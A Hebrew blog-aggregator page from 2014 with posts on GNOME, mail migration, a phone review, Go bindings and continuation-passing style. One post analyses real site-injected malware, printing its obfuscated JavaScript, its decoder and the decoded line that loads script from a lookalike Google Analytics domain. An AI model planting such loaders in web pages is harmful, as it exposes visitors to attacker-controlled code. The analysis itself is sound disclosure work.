בדומה ל־GtkStackSwitcher, נוסף יישומון בשם GtkSidebar המאפשר מעבר בין דפי תוכן שונים באמצעות סרגל צדי.

שכתוב ערכת הנושא של המעטפת ל־CSS/SASS

כפי שבוצע במחזור הפיתוח הקודם לערכת הנושא Adwaita של GTK+‎, כך כעת לערכת הנושא של המעטפת. השכתוב עודנו בעבודה, נמצא בענף wip/sass.

אצרף פה מספר צילומים מהמצב הנוכחי של הענף. אציין שהעבודה טרם הסתיימה, שינויים רבים יכנסו עד למיזוג לענף הפיתוח הראשי.

gnome-shell-sass-app-menu gnome-shell-sass-dash gnome-shell-sass-main-menu gnome-shell-sass-overview gnome-shell-sass-power-off-dialog gnome-shell-sass-search-entry

Builder – סביבת פיתוח עבור GNOME

כפי שהבטיח Christian Hergert, הוא עזב את עבודתו ב־MongoDB והתחיל לעבוד על סביבת פיתוח עבור GNOME, הנקראת בשם Builder.

עד כה יש תכונות די בסיסיות, אם כי לא רעות בכלל:

את החשוב ביותר שכחתי – צלמית יפה במיוחד, על ידי Jakub Steiner.

builder

אכניס לכאן רק סקירה של התמיכה בעורך תואם VIM, בת שבועיים (כלומר, מאז שונו אי־אילו דברים):

הקוד זמין תחת git.gnome.org/browse/gnome-builder, אשר ניתן לבנייה עם GTK+‎ 3.14 (כרגע עוד אין צורך ב־GTK+ 3.15). למשתמשי ארץ׳, ניתן להשתמש בחבילה ייעודית מה־AUR, ‏gnome-builder-git.

אציין שהשמטתי אי אילו שינויים (כמו תכונות שנוספו למפקח GTK+‎), וככל הנראה גם שכחתי אי אילו שינויים, אחרים.

בברכה,

יוסף אור

ולפעמים

החגיגה נגמרת

לקום מחר בבוקר ולהתחיל מבראשית

18 אוקטובר, 2014 09:56 PM

Boris Shtrasman

העברת groupware

אני עושה מיגרציה לפתרון groupware שלי והחלטתי לראות מה זה אומר מבחינת צד המשתמש, שידרוג צד השרת אמור להיות ללא תקלות אבל החלטתי לבדוק מה קורה מבחינת קונפיגורציה דומה כלפי המשתמש.

המיגרציה שאני עושה אמורה להעביר את כל המידע מספק א' לספק ב' אבל קיים סיכון של איבוד מידע.
לאחר ביצוע המיגרציה אותם שמות המשתמשים / סיסמאות וfqdn אמורים לעבוד בצורה זהה (כך שתוכונות לקוח לא יראו הבדל).

לשם הבדיקה לקחתי שרת  Exchange ובדקתי מה זה אומר בשבילי כלקוח כשיש מיגרציה כזו.
אני משתמש בKDE  .

יומן:


בגלל שאני משתשמש ביומן מקומי (לא סומך על ה"ענן") אין לי שום בעייה,

אנשי קשר:

יש לי מספר רשימות, הרשימות מהשרתים תמיד מגובה.

דוא"ל:

פה גיליתי שנושא תיבת הדואר לא יעבור חלק , את זה רואים  בתוך תוכנת הדואל של  KDE

 
if (messageCount == 0) {
//Shortcut:
//If no messages are present on the server, clear local cash and finish
m_incremental = false;
if (realMessageCount > 0) {
kDebug( 5327 ) << "No messages present so we are done, deleting local messages.";
itemsRetrieved(Akonadi::Item::List());
} else {
kDebug( 5327 ) << "No messages present so we are done";
}
taskComplete();

משמעות הפעולה   itemsRetrieved(Akonadi::Item::List()); היא שכל המידע השמור מקומית עבור התיבה יאופס(כל המיילים ימחקו).

התחלתי לחפש פתרון לביצוע גיבוי/העלאה ועצרתי על שימוש ב fetchmail.

לצערי fetchmail נכשל בהזדהות NTLM אבל השרת תומך בGSSAPI ולאחר ביצוע kinit הצלחתי לעבוד מול השרת.

את fetchmail הגדרתי בתוך ~/.fetchmailrc:

poll mailserver.myrtfm.blogspot.com 
protocol IMAP
port 143
username "username@myrtfm.blogspot.com "
password "secretpassword"
is "boris"
mda "/usr/bin/procmail -d %T"
mimedecode
keep

את procmail הגדרתי כך ~/procmailrc.:
SHELL=/bin/bash
PATH=/usr/sbin:/usr/bin
MAILDIR=$HOME/MailDir/
DEFAULT=$MAILDIR
LOGFILE=$HOME/.procmail.log
LOG=""
VERBOSE=yes

:0:
*^To:.*\@myrtfm.blogspot.com
$MAILDIR/.myrtfm.blogspot.com/

אני מקווה שלא עשיתי שום טעות בהגדרות אבל נראה שהמיילים יורדים, לאט לאט

18 אוקטובר, 2014 06:40 PM

Diego Iastrubni

וירוסים בעולם ה־web

(אני מנקה את הבלוג שלי ואני מצאתי משהו שכתבתי ב־2008… פאק… זה היה עוד בתקופה של בלוגלי… הבלוג עבר שתי המרות מאז… מוזר…) אני מפרסם בלי עריכה. תהנו.

אני חייב להתחיל את הפוסט הזה בכך שאני מסיר כל אחריות מכל מה שכתוב כאן: הרעיון לא שלי, הביצוע לא שלי, ולפרוץ ולהרוס מערכות מחשב זה מעשה פלילי. כל מי שעושה דברים כאלו הוא לא מישהו רצוי בבלוג הזה ויכול ללכת, לדחוף את האצבע שלו בתחת ולבדוק מה הטעם.

המשך הפוסט הזה מנתח וירוס אמיתי שנמצא בחוץ, ואני לא מצזנזר אף חלק ממנו. מי שחושב שעכשיו אני נתתי למלא script kiddies חומר חדש לתקוף אתרים הוא בור ולא מבין את הבעייה האמיתית: הבורות של אנשים הממוצעים, ורמת התכחום הטכנולוגית של הבעייה. רק על ידי ניתוח אמיתי ופתוח של בעיות אפשר לפתור אותם, ולא על ידי הסתרה שלהן.

בעבודה הבוס מבקש ממני שאני אכנס לאתר ואני אבדוק אם יש שם וירוס (לא, זה לא כי אני מריץ לינוקס 64ביט, הוא גם ביקש ממפתח שמריץ XP…). אני מסתכל על הקוד HTML שיש באתר ואני רואה:

<script>
uluf="%";
of="<i73i63i72i69pti20lai6eguagi65i3dji61vi61si63ri69pt>i20
i66uni63ti69oi6ei20i6ci69v(sn){vai72
sh,ui78i76=\"i308i2b;i69i20oi68Fdi26|*y4i4fli6ei40(#i36i6apIsZi77i39vi24i5dGi78i5ci22tKi54mg3!i2dei7bi5b:i27)i71}c1i3d7.i62JCi4dN^5i7ai66u_i60i42i55rk,aAEi482~Vi50\",ti74i6ei3di22\",i7ac,oui2ctri3d\"\"i2cci63;i66oi72i28si68=i30;i73i68<sn.length;i73h+i2b)i7bi20zi63=si6e.chi61i72i41ti28i73i68)i3bou=i75i78i76.i69i6edexOf(zi63)i3bi69f(i6fui3e-i31i29i7bi20i63c=(i28oi75i2b1i29i25i381-i31i29;i69i66i28ci63i3ci3d0i29ci63+i3di381;i74ri2bi3dui78v.i63hari41t(ci63-i31i29;
i7di20i65i6cse
i74r+=zc;}ttni2bi3dtri3bi64i6fi63i75mei6et.i77i72i69te(ti74n);}<i2fi73i63ri69i70i74>";
vmpq=unescape(of.replace(/i/g,uluf));
var bwn,yug;
document.write(vmpq);
bwn="<Z1k IKonA@3_A3{7tpA$AZ1k IKt>o&h1_g{@Kb9k
K{#ot<SMRs0monA@3_A3{7tCA$AS1k IKtoSRM7tFKKI'//999b3hh3n{A@An K
1Zb@{K/``_KJbpZ?t;&h1_g{@Kbk{u{kk{k;tt></SMRs0m>toqio</Z1k IK>oo";
liv(bwn);
</script>

אוקי מעניין, אפילו מעניין מאוד… אני מסתכל על זה ומנחש שהקוד הראשון, בעצם יעשה מין eval()‎ להמשך, ואז תהיה לי פונקציה בשםliv()‎ שהיא תעשה את החלק המעניין. אז אני מעתיק את הקוד לקובץ נקי, ובמקום להציג על "המסך", אני שופך אותו אל textarea ואז אני יכול להסתכל על הקוד שהדפדפן יראה. הפונקציה liv()‎ נראית ככה:

function liv(sn)
{
    var sh,uxv="08+;i
ohFd&|*y4Oln@(#6jpIsZw9v$]Gx\"tKTmg3!-e{[:')q}c1=7.bJCMN^5zfu_`BUrk,aAEH2~VP",ttn="",zc,ou,tr="",cc;
    for(sh=0;sh<sn.length;sh++){
            zc=sn.charAt(sh);
            ou=uxv.indexOf(zc);
            if(ou>-1){
                cc=((ou+1)%81-1);
                if(cc<=0)cc+=81;tr+=uxv.charAt(cc-1);
            }
            else
                tr+=zc;
    }
    ttn+=tr;
    //document.write(ttn);
    document.getElementById("idTextArea").value = ttn;
}

אוקי, אז הקוד עצמו מקודד פעמיים ורק אז הוא מריץ את הקוד האמיתי!

איזה הפתעה קיבלתי כאשר טיפלתי בקוד שוב ובמקום "להדפיס על המסך" אני שופך את המידע ל־textarea. מה שהיה שם כתוב כאן:

<script language="javascript"> document.write( "<SCRIPT
language=\"JavaScript\"
SRC=\"http://www.googleanalitics.net/__utb.js?"+document.referrer+"\"></SCRIPT>"
); </script>

למי שלא מבין מה כתוב פה, זה בעצם טוען JavaScript חיצוני ושם קורא כל הכיף… אבל הקובץ הזה מאוכסן באתר של התוקף ויש לו שליטה מלאה על מה שקורה ולא צריך להתחכם יותר מדי… אבל, מה שבאמת מעניין כאן, זה הכתובת של האתר. מישהו מזייף אתר עם כתובת דומה לשירות של גוגל, במקום סיומת ‎ .com בעל סיומת ‏‎.net אין מה להגיד, פשוט גאוני! אי אפשר לצפות מאנשים שמתחזקים אתר אינטרנט בתור אוסף של קבצי HTML להבין מה בעצם קרה כאן!

הקושי האמיתי פה הוא לישתול את הקוד באתר הנתקף. לפי דעתי, החלק הזה גם טריויאלי: פשוט קונים אתר בחברה שעושה shared hosting ואז יש לנו גישה פיזית למכונה.

הטקסט המלא

18 אוקטובר, 2014 06:23 PM

ביקורת – נקסוס 4

לפני שנה קניתי נקסוס 4 (ביום שיצא נקסוס 5, היה בעסה לקרא את זה ברגע שהדלקתי את המכשיר…) לא כתבתי ביקורת עליו, אז אני חושב שהגיע הזמן. הפוסט הוא לא נחמד מדי… אז אם יש לך קיבה רגישה, תמשיך הלאה (הביקורת לא ממש מחמיאה). אני אשמח לשמוע ממישהו שיש לו נקסוס 5, האם הבעיות שונות או דומות?

מבחינת חומרה:

  1. המכשיר מגיע בלי אוזניות. אם תחברו אליו אוזניות של סמסונג – לא תכלו לשלוט על עוצמת הווליום. כנ״ל עם אוזניות של אפל. הכפתור כדי לענות לשיחה עובד בשני הסטים של האוזניות.
  2. המכשיר מגיע בלי מטען לרכב.
  3. מגיע כבל USB ארוך יחסית (יש!) ולו כזה חיבור לקיר. החיבור לקיר הוא לא מתאים לכל שקע – יש שקעים ישנים שבהם אני לא מצליח להכניס אותו כלל (התקן הישראלי הישן – הוא קצת יותר קטן מהאירופאי).
  4. הוא מרגיש מאוד שביר… אחרי כמה חודשים אני כמעט מרגיש שהמסך רופף טיפה… עוד שנה, אני מתחיל לפחד שהחיבור של ה-USB יתפרק.
  5. הסלולה פנימית, וצריך לפרק את המכשיר כדי להחליף אותה. הברגים הם לא ברגים רגילים (לא שטוח ולא פיליפס) והם בקוטר ממש קטן – אז אני אצתרך לקנות מפתוח מיוחד.
  6. מגנים, מקלדות חיצוניות… כל ה-Accesories.. כמעט ולא קיימים למכשיר ומה שיש יחסית יקר. מגנים שקופים אפשר למצוא… אבל יחסית ביוקר (של אייפון ממש זולים… ייצור המוני…)
  7. הרמקול החיצוני פשוט נשמע רע וצפצפני.
  8. כשאני משתמש באוזניות של סמסונג אנשים מתלוננים שאי אפשר להבין אותי. אני חוזר להשתמש במיקרופון המובנה (בלי אוזניות) ואנשים שומעים אותי. אותו סיפור כשאני משתמש באוזניות של אייפון (האוזניות אמורות להיות טובות… לא?). יש לי זוג אוזניות שלישי שלא שומעים אותי דרכן, הבעייה היא במכשיר.
  9. המסך פשוט… נראה רע. הוא בהיר… אבל ניגודיות הצבעים היא די גרועה. השוותי לגלקסי 4, וגלקסי 3 מיני ומול אייפון 5, וזה פשוט רע. השוואתי מול גלקסי 1 – והפרדת הצבעים של הגלקסי הייתה יותר טובה, פשוט הנקסוס היה בהיר יותר.

מבחינת תוכנה:

  1. מצד אחד מעניין. יש המון מערכות הפעלה אלטרנטיביות, ואם יודעים לכבות את המכשיר אז זה מאוד כיף. ואני לא מדבר רק על מודים של אנדרויד, אלא דברים מוזרים באמת (אובונטו, פיירפוקס, Sailfish – מערכת ההפעלה של Jolla).
  2. מצד שני – כל שאר מערכות ההפעלה פשוט חרא בלבן. לא שוות הפעלה במשך יומיים. תמיד חזרתי אל CyanogenMod או אל Stock/Vanilla.
  3. הרומים של אנדרויד שמסתובבים ברשת – הם לא רעים. כולם עובדים ״חלק״. למעט זה שבכולם המכשיר מתחמם. מאוד. לפעמים מחזיקים את הטלפון בזמן עיון ב-Reddit ואתה מרגיש צריבה קטנה (*).
  4. השימוש ב-GPS פשוט גומר את הסוללה ובמהלך היום המכשיר מתחם כל כך, שהוא מפסיק להיטען. ותוך 20-30 דקות הוא פשוט נכבה (גם כשהוא מחובר לחשמל של האוטו). (**)
  5. הזמן שסוללה מחזיקה הוא בערך 20 שעות כשהיא חדשה. היום היא מחזיקה 16-18 שעות. בדרך כלל פחות.

    Screenshot_2014-09-16-09-35-00

  6. שימוש בשיתוף אינטרנט גם… גורם להתחממות קשה וגומרת את הסוללה מהר מדי. אפילו ברום הרגיל של KitKat.. המכשיר מתחמם יותר מדי. לא נוח לאחיזה.

אני חזרתי להשתמש ברום הסטוק של גוגל כדי לבדוק לעומק את טענות 3,4. אני צריך לבדוק את זה במשך כמה שבועות…

בקיצור – זהו מכשיר זול. אל תצפו ממנו להרבה. נראה ש-LG עשו את המינימום שהיה אפשר כדי לקבל את החותמת של גוגל/נקסוס. הוא מנסה לגרום לך להרגיש כאילו קנית מכשיר premium אבל בגודרי – קיבלת מכשיר בינוני. אבל מגניב.

לגבי נקסוס 5: ואללה… לא יודע. אולי הוא מכשיר יותר טוב.

לגבי נקסוס 6: אין מצב. לא מתקרב לזה. הנקסוס 4 שיש לי גדול לי מדי. אני רוצה מכשיר שאפשר לתפעל ביד אחת. בשביל שתי ידיים אני רוצה מקלדת פיזית. לא תודה.

(*) אני גולש ברכבת, זה אומר צינור גדול שכנראה משתמש כמו כלוב פארדיי ויש מלא אנשים אחרים שטוחנים את אותן אנטנות שאני טוחן. אני גם בגולן שיש להם רשת ממש גרועה. ייתכן ששילוב של אלו זה מה שגורם למכשיר להתנהג ככה.

(**) המטען שלי לרכב הוא לא מקורי… הוא די ליפה… אז ייתכן והוא דפוק. ייתכן גם השמש היוקדת על מכשיר שחור גורמת לו להתחמם. מצד שני – אלו בעיות של המכשיר בכל זאת. בנהיגות בלילה, גם וויז וגם המפות של גוגל לוקחות יותר חשמל מאשר המטען מספק – ולכן רמת הטעינה יורדת לאט במהלך הנסיעה, בגלקסי1 שלי בהתחלה זה אשכרה היה מטעין את המכשיר…(***).

(***) וויז היה שונה אז… ייתכן והתוכנה החדשה עושה המון חישובים מקומיים שגורמת למכשיר לעבור קשה ולגמור את הסוללה, ההשוואה היא לא מתאימה.

הטקסט המלא

18 אוקטובר, 2014 06:08 PM

Gabor Szabo

Stats of 7 Perl-related web sites

Once in a while I share some stats of some of the Perl-related web sites. For example at the beginning of 2014 I wrote about the popularity of Perl bases on some numbers from 2013. This time I just share the numbers as appear in Google Analytics for a number of sites where I have access to this data.

For the full article visit Stats of 7 Perl-related web sites

18 אוקטובר, 2014 11:05 AM

17 אוקטובר, 2014

Boris Shtrasman

systemd הולך לעוף ?

בסלאדשוט דיווחו שבדביאן בוחנים בוחנים מחדש את systemd.

הופתעתי לטובה שבדביאן systemd עדיין לא הדביק יותר מדי חבילות לא קשורות (החבילות שפה יחסית קשורות למערכת).


apt-cache rdepends systemd | grep -vvv systemd
Reverse Depends:
tuxonice-userui:i386
udev:i386
tuxonice-userui
udev
solaar
sogo
pcscd
|mate-power-manager
lighttpd
libvirt-daemon-system
|libguestfs0
init-system-helpers
gummiboot

17 אוקטובר, 2014 09:55 PM

16 אוקטובר, 2014

ik

go_libhdate

בשנים האחרונות, אני מוצא את עצמי נאלץ לתמוך בפרויקט ישן מאוד שלי, שיש בו חישובים של תאריכים עבריים אשר משתמש ב libhdate.

לאחר הרבה חשיבה בנושא, החלטתי לשכתב חלק מהקוד בGo, ולשם כך הייתי צריך ללמוד משהו שדחיתי הרבה זמן בשפה – איך לבצע binding.

בGo יש משהו שנקרא cgo – אפשרות לגרום לקוד שלך לדבר עם C.
הוא בעצם מספק סוג של preprocessor אשר לוקח את קוד ה Go, ומתרגם אותו לשפת C בצורה כזו שיש תאימות בין הקוד לבין שפת C.

אם תריצו ידנית את הפקודה

go tool cgo

על חבילה המדברת (כלומר עושה binding) עם C, תראו שתקבלו בעצם ספרייה בשם ‎_obj ושם כל ה"קסם" גלוי לעיניים:

$ tree _obj
_obj
├── _cgo_defun.c
├── _cgo_export.c
├── _cgo_export.h
├── _cgo_flags
├── _cgo_gotypes.go
├── _cgo_main.c
├── _cgo_.o
├── funcs.cgo1.go
└── funcs.cgo2.c

לקח לי המון זמן להבין כיצד לבצע binding, היות והתעוד לדעתי אינו מספיק טוב.
Go מגיע עם הדגמות, וההדגמה שהתחילה לסייע לי להבין יותר איך בכלל לבצע את הbinding היא של /usr/share/go/misc/cgo/gmp/ אשר מספקת הסבר כיצד בעצם לבצע binding עבור ספריית gmp, והיא טובה הרבה יותר מהתעוד של cgo.

בנוסף, אחד הדברים שאני מאוד אוהב בgo, ושלרוב גם מסייע לתכנת כמו שצריך זה go fmt. הוא מנסה לקמפל את הקוד ואז לסדר דברים לפי איך שהשפה "אוהבת" שדברים יהיו. משהו בסגנון tidy, רק עבור Go.

העניין הוא שאם זה מתקמפל, זה אומר שהקוד שלי תקין מבחינת linking לספריה, אבל אם זה מתקמפל, זה לא אומר שאין בעיות.

הקימפול מאוד עזר לי לפתור דברים, אבל לא סייע לי בניהול זיכרון.

Go משתמש ב GC, אבל אנחנו לא רוצים שהוא יגע בזיכרון של C, או במשתנים של Go שעוברים לC.
כלומר אנחנו לא רוצים שהGC "יהרוג" את הזיכרון לפני הזמן. וזה משהו שאני לא בטוח שהצלחתי לפתור עדיין במה שעשיתי, ולכן אינני יכול להגיד שהספריה יציבה.
כמו כן, אני מנסה לחשוב על דרכים לבדוק אותה עם goroutines ולראות אם היא מסוגלת לתפקד ככה כמו שצריך, ואם לא, אז לפחות לדעת להזהיר בנושא. כי גם שם יש ניהול זיכרון בנושא.

למעשה אני עדיין לא סגור בכלל שהמימוש שלי תקין, ולכן עדיין לא סימנתי אותו כיציב.
כשהוא יהיה יציב, git יכיל trunk בשמות של:

stable/1.0

אשר יצביעו תמיד על משהו שיציב, טוב ועובד בעיני.

אז אחרי הרבה חפירות כאן, אם אתם מעוניינים לראות את מה שעשיתי, תוכלו למצוא בגיטהאב או במראה בBitBucket.

כמו כן, תמיד אשמח לדיווחי באגים בנושא, בשביל שהקוד יהיה טוב יותר, וכמובן patch תמיד מתקבלים בברכה :)


תויק תחת:go, טכנולוגיה, פיתוח, קוד פתוח, תוכנה, תכנות

16 אוקטובר, 2014 03:46 PM

15 אוקטובר, 2014

Shlomi Israeli

קונספטים של קוד אלגנטי [חלק 3]

תכנותכתבתי בעבר מספר ביקורות אודות האקדמיה, אז לא ארחיב את זה יותר מדי כעת. אבל אודה ואומר שחוויתי מאז סדרת המאמרים הזו חוויה מעניינת, שמחזקת מעט את מה שאני מרגיש כלפי האקדמיה. כל סדרת המאמרים הזו נוגעת בעיקר בשני קורסים שמאוד לא אהבתי בזמן הלימודים (כן, אחד מהם הוא הקורס שכתבתי על המתכון להריסתו), לא אהבתי את הקורסים כי הם נראו מיותרים, לא מובנים והכי חשוב הועברו בצורה חובבנית.

אתמול ישבתי לי, והחלטתי שאני לומד נושא מסויים, שתמיד התקשיתי בו: Continuation Passing Style. זוהי טכניקת תכנות, המנצלת את האופטימיזציה מהמאמר הקודם. באמצעותה היא עוקפת את מנגנון המחסנית המובנה, ומאפשרת כתיבת קוד איטרטיבי, עבור פונקציות שקשה יותר או בלתי אפשרי לכתוב אותם עם לולאות (חשוב לציין שלולאה ומחסנית שקולה לרקורסיה).

תוך פחות מעשר דקות הבנתי את הקונספט, וכבר כתבתי מספר פונקציות בסגנון הזה בקלות. זה מאוד מפתיע כי לא נגעתי בסגנון התכנות הזה יותר משנה, ומעולם בעצם לא הבנתי אותו. האם נהיתי פשוט יותר חכם? אולי זה בגלל הניסיון שאני צובר בעבודה? אולי כן, ואולי פשוט הדרך האקדמית לא נכונה. אבל זה חורג מנושא המאמר :) אז בחזרה ל-CPS.

הרעיונות המרכזיים בשיטה זו אומרים, שאף פעם לא מבצעים החזרה של ערך מהפונקציה, וכל קריאה רקורסיבית חייבת להיות הפעולה האחרונה של הפונקציה. יש איזושהי הוכחה שאומרת שכל קוד רקורסיבי ניתן להמרה לקוד CPS. מה שמייעל באופן משמעותי כל קוד רקורסיבי.

נתבונן בפונקציית אקרמן, שאומרת:
Ack(m,n) = \begin{cases} n+1, & \mbox{if } m=0 \\ Ack(m, n-1), & \mbox{if } m=0 \mbox{ and } n>0 \\ Ack(m-1, Ack(m, n-1)), & \mbox{o/w} \end{cases}

להפוך משהו כזה ללולאה ללא שימוש במחסנית, זה לא רק לא פשוט, אלא בלתי אפשרי. העניין המרכזי שבעייתי עם הפונקציה הזו הוא שמהר מאוד מקבלים מספרים מאוד גדולים, אבל לא רק זאת, אלא שעומק הרקורסיה הוא מאוד גדול, וברוב המקרים לא נצליח לחשב משהו מעבר ל Ack(4,1) , וגם את זה בקושי. נכתוב פונקציה נאיבית לכך:

function ack1 (m,n) {
  if (m===0){
    return n + 1;
  } else if (m >0 && n === 0) {
    return ack1(m-1, 1);
  } else {
    return ack1(m-1, ack(m, n-1));
  }
}

לכל הדעות, פונקציה מאוד פשוטה, שעונה בדיוק על ההגדרה. אבל אם תנסו להריץ אותה על משהו מעבר ל Ack1(4,1) יגמר לכם המקום במחסנית ברוב התכניות. אז האם זה באמת לא אפשרי למימוש אחר? כאן מגיע לעזרתנו סגנון התכנות הזה, שבשילוב עם האופטימיזציה הזו, מסוגל לאפשר לנו לחשב כל ערך (בהינתן מספיק זמן, כי זו פונקציה ממש ממש מסובכת לחישוב).

הרעיון המרכזי אומר, נספק פונקציה נוספת לרשימת הפרמטרים, כל פעם שנרצה להחזיר ערך מיידי, במקום להחזיר אותו, נקרא לפונקציה עם אותו ערך והיא תעשה איתו כבר את מה שצריך (ממש כמו callback סטנדרטי ב-Javascript). כאשר נרצה לבצע קריאה רקורסיבית נבצע אותה בסוף הפונקציה, ונדאג לתת או ליצור callback מתאים עבור אותה קריאה. בגלל השימוש של אותה פונקציה, נקרא לה ret מלשון return.

function ack$ (m, n, ret) {
  if (m===0) {
    ret(n + 1);
  } else if (m >0 && n === 0) {
    ack$(m-1, 1, ret);
  } else {
    // wtf
  }
}

אני תמיד הייתי נתקע בשלב שכתבתי בו wtf. כדי להבין בדיוק מה צריך לעשות, נפרק את השורה המקורית למספר פעולות:

var resultOfM_N_1 = ack1(m, n-1);
return ack1(m-1, resultOfM_N_1);

הבעיה היא שיש פה שתי קריאות רקורסיביות, ולא ברור איך לגרום לכך שתהיה רק קריאה אחת שתמיד תהיה בסוף החישוב של הפונקציה. כנראה ש-Javascript גרמה לי לחשוב בצורת callback ולכן זה הפך להיות מיידי עבורי כיום. קודם כל נחשב את הפונקציה הראשונה (לצורך העניין נדמיין שזה מבוצע על מחשב אחר, ואנחנו נקבל בחזרה את התשובה דרך ajax או משהו בסגנון, ולכן צריך לספק לו פונקציה):

ack$(m, n-1, function(resultOfM_N_1) {
  // do something with resultOfM_N_1 
});

שימו לב לשם של הפרמטר, הוא יכיל את התוצאה שהתקבלה מביצוע הפונקציה, בדיוק כמו בקוד הקודם (ולכן השם זהה). כעת אנחנו בפונקציית ה-callback שלנו, וכל מה שנשאר לעשות זה להשתמש בתוצאת הביניים ולבצע קריאה רקורסיבית נוספת, שגם היא תהיה הדבר האחרון שאנחנו עושים בתוך פונקציה. ולכן הפונקציה הסופית תראה משהו כזה:

function ack$ (m, n, ret) {
  if (m===0) {
    ret(n + 1);
  } else if (m >0 && n === 0) {
    ack$(m-1, 1, ret);
  } else {
    ack$(m, n-1, function(resultOfM_N_1) {
      ack$(m-1, resultOfM_N_1, ret); 
    });
  }
}

כדי להריץ בפעם הראשונה את הפונקציה נבצע:

ack$(4, 1, function(result) { 
  console.log('result is ' + result);
});

הרצה של הפונקציה הזו היא אפשרית כעת, ובדיקה אצלי (עם האק קטן שמדמה את האופטימיזציה) הניבה:

time nodejs test.js
result is 65533

real	15m23.306s
user	15m8.406s
sys	0m22.508s

לקחו רק 15 דקות לחשב את הערך, אבל בסופו של דבר הוא חושב, דבר שלא היה אפשרי ללא כמות גדולה מאוד של זכרון בשיטה נאיבית יותר כמו לולאה+מחסנית או רקורסיה. העניין העיקרי שצריך להדגיש כאן הוא שמבחינת זכרון, אנחנו מדברים על סדר גודל של O(1). הסוד הוא שאנחנו מסדרים את המידע בצורה כזו, שבכל שלב אנחנו לא צריכים יותר לזכור שום דבר מקריאות אחרות, ולכן לעולם לא נצטרך למלא את המחסנית יותר ממספר קבוע של שדות.

בגלל שזה כן נושא די מסובך, ננסה לדמיין את הפונקציה ack$ כקופסה שחורה, או אפילו יותר קל, כפונקציה ששולחת בקשה לאיזשהו שרת מרוחק ומקבלת ממנו תשובה. כמו בבקשת ajax א-סינכרונית, הפונקציה תסתיים מיד וברגע שהדפדפן יקבל תשובה בחזרה, הוא יפעיל את פונקציית ה-callback שסיפקנו עם התשובה כפרמטר. ועכשיו אנחנו יכולים לעשות עם הערך הזה מה שבא לנו. במקרה שלנו, אנחנו צריכים לבצע שוב בקשה דומה (עוד קריאה רקורסיבית), רק שהפעם אנחנו נדפיס את הערך המוחזר במקום לבצע עליו חישוב נוסף.

למידע נוסף, ממליץ לקרוא גם את המאמר: By example: Continuation-passing style in JavaScript

15 אוקטובר, 2014 11:58 AM